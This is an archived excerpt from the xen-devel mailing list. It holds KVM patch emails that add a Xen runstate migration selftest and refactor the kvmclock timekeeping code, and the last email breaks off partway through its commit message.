List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=MSS/L0DlzIiHi7Bw2B047mUTxdF1yD6n9Esd4lrjANw=; b=iU6SK+6HlatYeQ2gl9tGwyLkqi
	sAlSNaCj1PI5JPhBJmRbg/ZFhceYepOCKk0FhLL4jYcu0Ca1VR2EtHfZyR4QbM6Nkewx7oXq5ElzM
	SEIB8TwnLNxYKX69h8tecrdlNIfS4rDY4Bwhm5882oYca8mbjNYb3jUkg7/HSWCpmyYBUBFyQOOi3
	tcR/CDUHlwPBWqbHVVgaWWgQRlA6+jwPo9gNJ9sC8Gj+x8HkO25EeY7RimOfYveAQMCdQmD5iWBYI
	UP7CHZJJi5EKQaHg39iDBGsOfy3hGBLeHuhNl9ZJkgXvFeo9mpsYJEgU9DxfO7FEEbwn5yRsKKDgf
	yzRGECYw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 31/36] KVM: selftests: Add Xen runstate migration test
Date: Fri,  3 Jul 2026 22:18:10 +0100
Message-ID: <20260703212145.343527-32-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1783113803-47731986-BAA3D1A4/0/0
X-purgate-type: clean
X-purgate-size: 8510

From: David Woodhouse <dwmw@amazon.co.uk>

Test that Xen runstate (steal time) is correctly accounted across a
simulated live migration using KVM_XEN_VCPU_ATTR and KVM_[GS]ET_CLOCK_GUEST.

The test simulates what a real VMM does during migration:
1. Creates a VM with Xen HVM config and runstate tracking
2. Runs the guest to accumulate some kvmclock time
3. Saves clock (KVM_GET_CLOCK_GUEST), TSC offset, and runstate
4. Marks the saved state as RUNSTATE_runnable (vCPU not running)
5. Destroys the source VM
6. Sleeps 10ms (simulating migration network transfer time)
7. Creates a new VM and restores all state precisely as saved
8. Runs the guest and verifies the migration gap appears as steal

The kernel accounts the gap because: on vcpu_load, it transitions from
RUNSTATE_runnable to RUNSTATE_running, computing delta = kvmclock_now -
state_entry_time. Since kvmclock has advanced past the saved entry time
(real time elapsed during migration), the delta is added to time_runnable.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../selftests/kvm/x86/xen_migration_test.c    | 194 ++++++++++++++++++
 2 files changed, 195 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/xen_migration_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 58aac2980cdf..f155683bd7f8 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -142,6 +142,7 @@ TEST_GEN_PROGS_x86 += x86/debug_regs
 TEST_GEN_PROGS_x86 += x86/tsc_msrs_test
 TEST_GEN_PROGS_x86 += x86/vmx_pmu_caps_test
 TEST_GEN_PROGS_x86 += x86/xen_cpuid_timing_test
+TEST_GEN_PROGS_x86 += x86/xen_migration_test
 TEST_GEN_PROGS_x86 += x86/xen_shinfo_test
 TEST_GEN_PROGS_x86 += x86/xen_vmcall_test
 TEST_GEN_PROGS_x86 += x86/sev_init2_tests
diff --git a/tools/testing/selftests/kvm/x86/xen_migration_test.c b/tools/testing/selftests/kvm/x86/xen_migration_test.c
new file mode 100644
index 000000000000..4a041d36f1b9
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/xen_migration_test.c
@@ -0,0 +1,194 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test Xen runstate (steal time) preservation across simulated migration.
+ *
+ * Verifies that the kernel correctly accounts the migration gap as
+ * steal time (runnable) when runstate data is saved and restored
+ * precisely, but real time elapses during the migration.
+ *
+ * The key insight: userspace saves the runstate with state=RUNSTATE_runnable
+ * (the vCPU is not running during migration). On restore, the kernel sees
+ * that kvmclock has advanced past state_entry_time, and accounts the
+ * difference as time spent in the runnable state.
+ */
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define SHINFO_GPA	0xc0000000ULL
+#define RUNSTATE_GPA	(SHINFO_GPA + 0x1000)
+
+#define RUNSTATE_running  0
+#define RUNSTATE_runnable 1
+#define RUNSTATE_blocked  2
+#define RUNSTATE_offline  3
+
+struct vcpu_runstate_info {
+	uint32_t state;
+	uint64_t state_entry_time;
+	uint64_t time[4];
+} __attribute__((packed));
+
+static void guest_code(void)
+{
+	volatile struct vcpu_runstate_info *rs =
+		(void *)(unsigned long)RUNSTATE_GPA;
+
+	/* Report runstate times â€” no need to enable kvmclock MSR,
+	 * the kernel writes runstate using its internal kvmclock. */
+	GUEST_SYNC_ARGS(0, rs->time[RUNSTATE_runnable],
+			rs->time[RUNSTATE_running], 0, 0);
+}
+
+static struct kvm_vm *create_xen_vm(struct kvm_vcpu **vcpu)
+{
+	struct kvm_vm *vm;
+	int xen_caps;
+
+	vm = vm_create_with_one_vcpu(vcpu, guest_code);
+
+	xen_caps = kvm_check_cap(KVM_CAP_XEN_HVM);
+	TEST_REQUIRE(xen_caps & KVM_XEN_HVM_CONFIG_SHARED_INFO);
+	TEST_REQUIRE(xen_caps & KVM_XEN_HVM_CONFIG_RUNSTATE);
+
+	/* Map pages */
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    SHINFO_GPA, 1, 2, 0);
+	virt_map(vm, SHINFO_GPA, SHINFO_GPA, 2);
+
+	/* Enable Xen HVM with MSR interception (enables runstate tracking) */
+	struct kvm_xen_hvm_config cfg = {
+		.flags = KVM_XEN_HVM_CONFIG_INTERCEPT_HCALL,
+		.msr = 0x40000000,
+	};
+	vm_ioctl(vm, KVM_XEN_HVM_CONFIG, &cfg);
+
+	/* Set shared_info */
+	struct kvm_xen_hvm_attr ha = {
+		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO,
+		.u.shared_info.gfn = SHINFO_GPA >> 12,
+	};
+	vm_ioctl(vm, KVM_XEN_HVM_SET_ATTR, &ha);
+
+	/* Set runstate address */
+	struct kvm_xen_vcpu_attr rs_addr = {
+		.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_ADDR,
+		.u.gpa = RUNSTATE_GPA,
+	};
+	vcpu_ioctl(*vcpu, KVM_XEN_VCPU_SET_ATTR, &rs_addr);
+
+	return vm;
+}
+
+int main(void)
+{
+	struct pvclock_vcpu_time_info pvti;
+	struct kvm_xen_vcpu_attr runstate_save;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint64_t tsc_offset;
+	int ret;
+
+	/* === SOURCE SIDE === */
+	pr_info("=== Source: create VM and run guest ===\n");
+	vm = create_xen_vm(&vcpu);
+
+	/* Run guest once to accumulate some runstate time */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	pr_info("  Guest sees: runnable=%" PRIu64 " running=%" PRIu64 "\n",
+		uc.args[2], uc.args[3]);
+
+	/* Save clock state */
+	ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(!ret, "KVM_GET_CLOCK_GUEST failed");
+
+	/* Save TSC offset */
+	tsc_offset = vcpu_get_msr(vcpu, MSR_IA32_TSC_ADJUST);
+
+	/* Save runstate â€” the vCPU is now "runnable" (not running) */
+	runstate_save.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_DATA;
+	vcpu_ioctl(vcpu, KVM_XEN_VCPU_GET_ATTR, &runstate_save);
+
+	/*
+	 * Transition to runnable state before saving â€” the vCPU is
+	 * not running during migration.
+	 */
+	runstate_save.u.runstate.state = RUNSTATE_runnable;
+
+	pr_info("  Saved runstate: running=%" PRIu64 " runnable=%" PRIu64
+		" entry=%" PRIu64 "\n",
+		(uint64_t)runstate_save.u.runstate.time_running,
+		(uint64_t)runstate_save.u.runstate.time_runnable,
+		(uint64_t)runstate_save.u.runstate.state_entry_time);
+
+	uint64_t saved_runnable = runstate_save.u.runstate.time_runnable;
+
+	kvm_vm_free(vm);
+
+	/* === MIGRATION GAP === */
+	pr_info("=== Simulating migration (sleeping 10ms) ===\n");
+	usleep(10000);
+
+	/* === DESTINATION SIDE === */
+	pr_info("=== Destination: create new VM and restore ===\n");
+	vm = create_xen_vm(&vcpu);
+
+	/* Restore TSC offset */
+	vcpu_set_msr(vcpu, MSR_IA32_TSC_ADJUST, tsc_offset);
+
+	/* Restore clock â€” kvmclock will now be ~10ms ahead of the snapshot */
+	vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti);
+
+	/* Restore runstate exactly as saved (state=runnable) */
+	runstate_save.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_DATA;
+	ret = __vcpu_ioctl(vcpu, KVM_XEN_VCPU_SET_ATTR, &runstate_save);
+	TEST_ASSERT(!ret, "Restore runstate failed: errno %d", errno);
+
+	/*
+	 * Run the guest. When the vCPU enters vcpu_run, the kernel
+	 * transitions from RUNSTATE_runnable to RUNSTATE_running.
+	 * It computes: delta = kvmclock_now - state_entry_time
+	 * This delta (which includes the migration gap) is added to
+	 * time_runnable (steal time).
+	 */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	uint64_t guest_runnable = uc.args[2];
+	uint64_t guest_running = uc.args[3];
+
+	pr_info("  Guest sees: runnable=%" PRIu64 " running=%" PRIu64 "\n",
+		guest_runnable, guest_running);
+
+	uint64_t steal_increase = guest_runnable - saved_runnable;
+	pr_info("  Steal time increase: %" PRIu64 " ns (migration gap)\n",
+		steal_increase);
+
+	/*
+	 * The steal time increase should be at least 10ms (the sleep)
+	 * but not more than 5s (allowing for VM creation overhead).
+	 * The actual gap is from the source's state_entry_time to the
+	 * destination's kvmclock "now" at vcpu_load time.
+	 */
+	TEST_ASSERT(steal_increase >= 10000000ULL &&
+		    steal_increase < 5000000000ULL,
+		    "Steal time increase %" PRIu64 " ns not in expected range "
+		    "[10ms, 5s]", steal_increase);
+
+	kvm_vm_free(vm);
+	pr_info("PASS: Migration gap correctly accounted as steal time\n");
+	return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353877.1609609 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMA-0004wX-VH; Fri, 03 Jul 2026 21:23:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353877.1609609; Fri, 03 Jul 2026 21:23:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMA-0004wM-Rv; Fri, 03 Jul 2026 21:23:30 +0000
Received: by outflank-mailman (input) for mailman id 1353877;
 Fri, 03 Jul 2026 21:23:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflM9-0004uV-E8
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflM8-00BXKf-RK; Fri, 03 Jul 2026 23:23:28 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482832-2eae-0a2a0a5409dd-0a2a450b92fe-22
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:28 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482850-ac48-0a2a450b0019-5a9b5cc7b0d2-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:28 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKY-000000059O0-1xLJ; Fri, 03 Jul 2026 21:22:53 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROY-1YDI;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=tXL7aPo/yAWhlGILCeEnNw76Lh3seTcvuCYSfmK7zhI=; b=LK2l6nQjgd7DLaXcp7LIMUlNxA
	epcMuonePcQII23FEgetXgqFD+AaZXALFS9ajZIDA0hOhsfpISgZHAO8WzmAlWco0rLd/8BVw/en/
	jU+YYEMLC4dz5fOSsczVKgQ5CxhKFAMTcfj/NRJEX6CND9xVsdtvLUQfOoACz0uz+cc3LS3pPW2In
	TTff6EzdA3x8+ljSoDSNP7+bzp9Xyl6SHQtIw/3pX7snHqV6H52FeGGVgfEkScDfUMCZeqkL+myG/
	88kadjllLlyrTpys0ZML5ORFoQ4EuiwHCVQpvfEWOALEIblsTSGQ1eFvv0cZpOrGRfIFSE/87cT82
	lURSRZaA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 12/36] KVM: x86: Restructure get_kvmclock()
Date: Fri,  3 Jul 2026 22:17:51 +0100
Message-ID: <20260703212145.343527-13-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-42698a/1783113808-3AB38220-0F7362C9/0/0
X-purgate-type: clean
X-purgate-size: 3563

From: David Woodhouse <dwmw@amazon.co.uk>

Simplify the use_master_clock condition: the open-coded CONSTANT_TSC ||
cpu_tsc_khz check is unnecessary since use_master_clock can only be true
when the host clocksource is TSC based, which in turn requires a stable,
constant and synchronised TSC across all CPUs.

Given that, the get_cpu()/put_cpu() pinning is not needed either: both
the TSC read and get_cpu_tsc_khz() are CPU-independent when the master
clock is in use, so drop them.

Wrap the entire use_master_clock block in #ifdef CONFIG_X86_64, since
use_master_clock is never true on 32-bit (host_tsc_clocksource is only
set under CONFIG_X86_64), and declare hv_clock inside the block so it is
not left as an unused variable on 32-bit.

Use 'continue' on the master-clock success path so the non-master-clock
computation becomes the common tail, avoiding a goto and label. When the
clock read fails (e.g. clocksource transitioning away from TSC), fall
back to that path rather than proceeding with uninitialised data or
spinning in the seqcount loop.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 42 ++++++++++++++++++++----------------------
 1 file changed, 20 insertions(+), 22 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 50f088570dab..37b1f8192842 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3203,40 +3203,38 @@ static unsigned long get_cpu_tsc_khz(void)
 static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 {
 	struct kvm_arch *ka = &kvm->arch;
-	struct pvclock_vcpu_time_info hv_clock;
 	unsigned int seq;
 
 	do {
 		seq = read_seqcount_begin(&ka->pvclock_sc);
 
-		/* both __this_cpu_read() and rdtsc() should be on the same cpu */
-		get_cpu();
-
 		data->flags = 0;
-		if (ka->use_master_clock &&
-		    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
 #ifdef CONFIG_X86_64
+		if (ka->use_master_clock) {
+			struct pvclock_vcpu_time_info hv_clock;
 			struct timespec64 ts;
 
 			if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
 				data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
-				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
-			} else
-#endif
-			data->host_tsc = rdtsc();
-
-			data->flags |= KVM_CLOCK_TSC_STABLE;
-			hv_clock.tsc_timestamp = ka->master_cycle_now;
-			hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-			kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-					   &hv_clock.tsc_shift,
-					   &hv_clock.tsc_to_system_mul);
-			data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
-		} else {
-			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
-		}
+				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC | KVM_CLOCK_TSC_STABLE;
+
+				hv_clock.tsc_timestamp = ka->master_cycle_now;
+				hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+				kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
+						   &hv_clock.tsc_shift,
+						   &hv_clock.tsc_to_system_mul);
+				data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+				continue;
+			}
 
-		put_cpu();
+			/*
+			 * Clock read failed (e.g. clocksource is transitioning
+			 * away from TSC). Fall back to the non-master-clock path
+			 * rather than spinning.
+			 */
+		}
+#endif
+		data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353878.1609618 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMD-0005DE-6U; Fri, 03 Jul 2026 21:23:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353878.1609618; Fri, 03 Jul 2026 21:23:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMD-0005D0-2w; Fri, 03 Jul 2026 21:23:33 +0000
Received: by outflank-mailman (input) for mailman id 1353878;
 Fri, 03 Jul 2026 21:23:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMB-00052w-Ee
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMA-00BElj-Rp; Fri, 03 Jul 2026 23:23:30 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48282a-5cb7-0a2a0a5109dd-0a2a450aa8e8-10
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:30 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48284f-e40e-0a2a450a0019-5a9b5cc7a18a-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:27 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKe-000000059OE-0v6i; Fri, 03 Jul 2026 21:22:53 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPx-2LRG;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=1OUv5CdFlAHAtCyTuuEwus8cGCX4Zb6KK8eBdOb5xl8=; b=iAY6MPfXrlFmZymwYSi+vVUVlO
	Foj75r55Pg0RY2rE1G43N+8fD9XfvQ9wvrkZ6IQFehekLM47aqnS2WyUEiaEq45e/K3+QqpL883g2
	oxc0gIJzsIQslagkNwURfAqdrJBtEiZF1ADO/kBfNTsCiCu2whVOx6OV+YtpWXnWiJjHf/km1xwi8
	BjZeLG8R28itKIdJU2ORDJdGL/twrFkXyZF4cfcv/Ls01m6xV3PS2mcL+rBFHVol6Gi9uDe/rCWHY
	weB/t2G31ola0QBkAmIxp7fDT6IzQ5OkKGjhGdZVLn5cAiSUfsWQGKBUU3K3pD2jWVTS4EmGKfQAR
	jmWut/Bw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 32/36] KVM: x86: Use ktime_get_snapshot_id() for master clock
Date: Fri,  3 Jul 2026 22:18:11 +0100
Message-ID: <20260703212145.343527-33-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113807-CF537DDE-DC71D870/0/0
X-purgate-type: clean
X-purgate-size: 3954

From: David Woodhouse <dwmw@amazon.co.uk>

Replace the KVM-private vgettsc()/do_kvmclock_base()/do_monotonic()/
do_realtime() timekeeping reimplementation with calls to the generic
ktime_get_snapshot_id() interface.

The snapshot provides both the system time and the raw_cycles (TSC)
atomically paired. When raw_cycles is zero, the clocksource could not
provide a raw hardware counter value, which is equivalent to the
previous vgettsc() returning VDSO_CLOCKMODE_NONE.

For kvm_get_time_and_clockread(), the kvmclock base time is
